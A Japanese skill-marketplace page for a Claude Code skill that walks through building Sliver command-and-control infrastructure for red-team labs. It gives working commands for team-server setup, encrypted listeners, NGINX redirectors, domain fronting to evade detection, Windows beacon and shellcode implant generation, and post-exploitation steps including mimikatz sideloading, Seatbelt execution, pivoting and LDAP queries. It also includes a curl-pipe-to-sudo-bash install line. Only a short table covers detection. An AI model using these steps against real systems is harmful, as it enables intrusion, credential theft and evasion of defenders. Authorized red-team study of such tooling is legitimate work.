mcpField
B
building-c2-infrastructure-with-sliver-framework

building-c2-infrastructure-with-sliver-framework

github.com/mukul975セキュリティ35.2k203 回インストール8 週間前に更新
リポジトリ

building-c2-infrastructure-with-sliver-framework について

SliverベースのC2インフラを計画するセキュリティスキルです。テスト環境やラボで許可を得て行うレッドチーム活動向けに、サーバー構築、リスナーとリダイレクターの設定、インプラント生成、ポストエクスプロイテーション操作を扱います。

主な機能

  1. 01Sliverチームサーバーの構築
  2. 02C2リスナーの設定
  3. 03リダイレクターの構築
  4. 04ビーコンとセッションの生成
  5. 05複数オペレーターのアクセス管理
  6. 06ポストエクスプロイテーション操作

活用シーン

  1. 01レッドチーム用ラボC2環境の構築
  2. 02暗号化リスナーチャネルの設定
  3. 03リダイレクターとピボットのテスト
  4. 04オペレーターアクセスとインプラントの検証

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill building-c2-infrastructure-with-sliver-framework

インストール後、Claude Code で/building-c2-infrastructure-with-sliver-frameworkを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

LICENSE
assets/
template.md
references/
api-reference.md
standards.md
workflows.md
scripts/
agent.py
process.py

詳細

Sliver フレームワークを使用した C2 インフラストラクチャの構築

概要

Sliver は BishopFox が開発した、Go で記述されたオープンソースのクロスプラットフォーム型アドバーサリーエミュレーションフレームワークです。インプラントの生成、複数のプロトコルを使用した C2 チャネル(mTLS、HTTP/S、DNS、WireGuard)、複数オペレーターのサポート、広範な侵入後の機能をレッドチームに提供します。Sliver はビーコン(非同期)モードとセッション(対話型)モードをサポートしているため、長期にわたるオペレーションと対話型のエクスプロイトの両方に適しています。適切に設計された Sliver インフラストラクチャでは、リダイレクター、ドメインフロンティング、HTTPS 証明書を活用して、運用上の耐障害性を維持し、検知を回避します。

使用する場面

  • 環境内で Sliver フレームワークの機能を使用して C2 インフラストラクチャを構築、デプロイ、または設定する場合
  • コンプライアンス要件に沿ったセキュリティ制御を確立する場合
  • このドメインのセキュリティアーキテクチャを構築または改善する場合
  • この実装が必要なセキュリティ評価を実施する場合

前提条件

  • レッドチームの概念とツールに関する知識
  • 安全に実行するためのテスト環境またはラボ環境へのアクセス
  • 必要な依存関係をインストールした Python 3.8+
  • あらゆるテスト活動に対する適切な承認

目標

  • 強化されたクラウドインフラストラクチャに Sliver チームサーバーをデプロイする
  • HTTPS、mTLS、DNS、WireGuard リスナーを設定する
  • 対象プラットフォーム向けのインプラント(ビーコンとセッション)を生成する
  • インプラントとチームサーバーの間に NGINX または Apache のリダイレクターを設定する
  • Cloudflare または CDN ベースのドメインフロンティングを実装し、トラフィックを難読化する
  • 証明書ベースの認証を使用して複数オペレーターのアクセスを設定する
  • C2 通信の運用セキュリティ制御を確立する

MITRE ATT&CK マッピング

  • T1071.001 - アプリケーション層プロトコル:Web プロトコル
  • T1071.004 - アプリケーション層プロトコル:DNS
  • T1573.002 - 暗号化チャネル:非対称暗号
  • T1090.002 - プロキシ:外部プロキシ(リダイレクター)
  • T1105 - 侵入ツールの転送
  • T1132.001 - データエンコーディング:標準エンコーディング
  • T1572 - プロトコルトンネリング

ワークフロー

フェーズ 1:チームサーバーのデプロイ
  1. チームサーバー用の VPS(例:DigitalOcean、Linode、AWS EC2)を用意します
  2. OS を強化します。SSH パスワード認証を無効にし、UFW/iptables を設定して、fail2ban をインストールします
  3. 公式インストールスクリプトを使用して Sliver をインストールします:
    curl https://sliver.sh/install | sudo bash
    
  4. Sliver サーバーデーモンを起動します:
    systemctl start sliver
    # Or run interactively
    sliver-server
    
  5. チームメンバー用のオペレーター設定ファイルを生成します:
    new-operator --name operator1 --lhost <team-server-ip>
    
フェーズ 2:リスナーの設定
  1. 正規の SSL 証明書を使用して HTTPS リスナーを設定します:
    https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
    
  2. フォールバック C2 用の DNS リスナーを設定します:
    dns --domains c2dns.example.com --lport 53
    
  3. 高セキュリティのセッション用に mTLS リスナーを設定します:
    mtls --lhost 0.0.0.0 --lport 8888
    
  4. トンネル経由のアクセス用に WireGuard リスナーを設定します:
    wg --lport 51820
    
フェーズ 3:リダイレクターのセットアップ
  1. リダイレクターとして別の VPS をデプロイします(対象とチームサーバーの間に配置)
  2. NGINX をリバースプロキシとしてインストールし、設定します:
    server {
        listen 443 ssl;
        server_name c2.example.com;
        ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
        ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
    
        location / {
            proxy_pass https://<team-server-ip>:443;
            proxy_ssl_verify off;
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
        }
    }
    
  3. チームサーバーに iptables ルールを設定し、リダイレクターからの接続のみを許可します:
    iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
    iptables -A INPUT -p tcp --dport 443 -j DROP
    
  4. 任意で、ドメインフロンティング用にリダイレクターの前段に CDN レイヤーとして Cloudflare を設定します
フェーズ 4:インプラントの生成
  1. HTTPS ビーコンインプラントを生成します:
    generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
    
  2. 制限のあるネットワーク向けに DNS ビーコンを生成します:
    generate beacon --dns c2dns.example.com --os windows --arch amd64
    
  3. インジェクション用のシェルコードペイロードを生成します:
    generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
    
  4. ビーコンのジッターとコールバック間隔を設定します:
    generate beacon --http https://c2.example.com --seconds 60 --jitter 30
    
フェーズ 5:侵入後のオペレーション
  1. アクティブなビーコン/セッションと対話します:
    beacons        # List active beacons
    use <beacon-id> # Interact with a beacon
    
  2. 侵入後のモジュールを実行します:
    ps              # Process listing
    netstat         # Network connections
    execute-assembly /path/to/Seatbelt.exe -group=all  # Run .NET assemblies
    sideload /path/to/mimikatz.dll  # Load DLLs
    
  3. 内部ネットワークにアクセスするためのピボットを設定します:
    pivots tcp --bind 0.0.0.0:9898  # Create pivot listener on compromised host
    
  4. メモリ内実行に BOF(Beacon Object Files)を使用します:
    armory install sa-ldapsearch  # Install from armory
    sa-ldapsearch -- "(objectClass=user)"  # Execute BOF
    

ツールとリソース

ツール用途プラットフォーム
Sliver ServerC2 チームサーバーとインプラントの管理Linux/macOS/Windows
Sliver Clientチームメンバー向けのオペレーターコンソールクロスプラットフォーム
NGINXリダイレクターおよびリバースプロキシLinux
CertbotLet's Encrypt SSL 証明書の生成Linux
CloudflareCDN およびドメインフロンティングクラウド
ArmorySliver 拡張機能/BOF パッケージマネージャー組み込み

検出シグネチャ

指標検出方法
Sliver のデフォルト HTTP ヘッダー不審な User-Agent 文字列をネットワークトラフィックから分析
非標準ポートでの mTLS不審なポートへのアウトバウンド接続をファイアウォールログから確認
エントロピーの高い DNS TXT レコードクエリエンコードされた C2 トラフィックを DNS ログから分析
ポート 51820 での WireGuard UDP トラフィックWireGuard ハンドシェイクパターンをネットワークフローから分析
Sliver インプラントのファイルハッシュ既知の Sliver サンプルと照合して EDR/AV シグネチャを確認

検証基準

  • チームサーバーをデプロイし、ファイアウォールルールで強化する
  • 有効な SSL 証明書を使用して HTTPS リスナーを構成する
  • フォールバック C2 チャネルとして DNS リスナーを構成する
  • ターゲットとチームサーバーの間に少なくとも 1 つのリダイレクターをデプロイする
  • 一意の証明書を使用して複数オペレーターのアクセスを構成する
  • ターゲット OS 用のインプラントを生成する
  • ステルス性を確保するため、ビーコンのコールバック間隔とジッターを構成する
  • ポストエクスプロイトモジュール(プロセス一覧表示、.NET アセンブリ実行)をテストする
  • 内部ネットワークアクセスに向けてピボット機能を検証する
  • すべての C2 トラフィックを暗号化し、リダイレクター経由で通過させる

コメント